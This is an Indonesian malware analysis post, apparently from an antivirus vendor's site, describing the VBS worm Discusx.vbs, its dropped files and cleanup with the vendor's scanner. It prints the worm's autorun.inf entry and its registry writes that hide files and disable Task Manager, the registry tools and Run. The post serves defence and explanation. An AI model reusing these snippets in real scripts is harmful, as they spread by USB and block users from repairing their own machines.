Discusx.vbs – Ramnit atau Bukan?

Saya rasa virus ini hampir mirip dengan ramnit, hanya saja tidak bisa menginfeksi File.Virus Ini Dibuat menggunakan Bahasa Pemrograman Visual Basic Script (VBS). Hanya saja Virus Ini dapat mengganti Title Default Internet Explorer dan Mengubah index IE Anda.
Nama Virus : Discusx.vbs
Ukuran File : 14,956 bytes
Packer : Tidak diketahui
Icon : Icon VBS Default
Type : Virus & Worm
Encode : ScrEnc (Script Encoder)
Virus ini Akan membuat Beberapa File pada USB Anda,
File Yang Dibuat Discusx.vbs
- Membuat File-file berikut pada Drive Yang aktif di PC
Copy of Shortcut to (1).lnk
Copy of Shortcut to (2).lnk
Copy of Shortcut to (3).lnk
Copy of Shortcut to (4).lnk
- autorun.inf dan RECYCLER pada Drive yang aktif
- Membuat File Watermark.exe di Microsoft Pada Program Files
Isi autorun.inf yang dibuat Discusx.vbs
; Discus-X
[autorun]
ShellExecute = WScript.exe RECYCLER\S-l-5-2l-796845957-4l3027322-l80l67453l-l003\INF02.dat
Dan ini dari desktop.ini
; Lets Discus-X : )
[.ShellClassInfo]
IconFile=%SystemRoot%\system32\SHELL32.dll
IconIndex=31
Beberapa Registry yang diedit dah ditambahkan :
wss.regWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", ".::Let's Discus-X::."
wss.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", "2", "REG_DWORD"
wss.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden", "0", "REG_DWORD"
wss.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", "0", "REG_DWORD"
wss.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
wss.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
wss.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
wss.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
wss.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
wss.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"
wss.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\RegisteredOwner","Discus-X"
Pada File HAPPY LEBARAN.htm,Terdapat Kata-Kata Berikut (Index IE)
Discus-X SAY : MET LEBARAN!
Seperti Virus Ramnit bukan? tapi virus ini tidak bisa menginfeksi File PE,HTML,htm, dan masih banyak ektensi lagi…
Bagaimana Cara Pembersihan?
- Gunakan ScreaMAV Versi Terbaru yang database “2037″
- Lalu Full Scan Computer anda
- Tunggu Hingga Discusx.vbs terdeteksi.
- Dan klik “Clean All”
Variant Discusx.vbs Yang terdeteksi
- Discusx.A
- Discusx.B
- Discusx.C
Untuk file Autorun dan Shortcut sudah terdeteksi


Sumber: http://screamav.com/web/2013/01/discusx-vbs-ramnit-atau-bukan/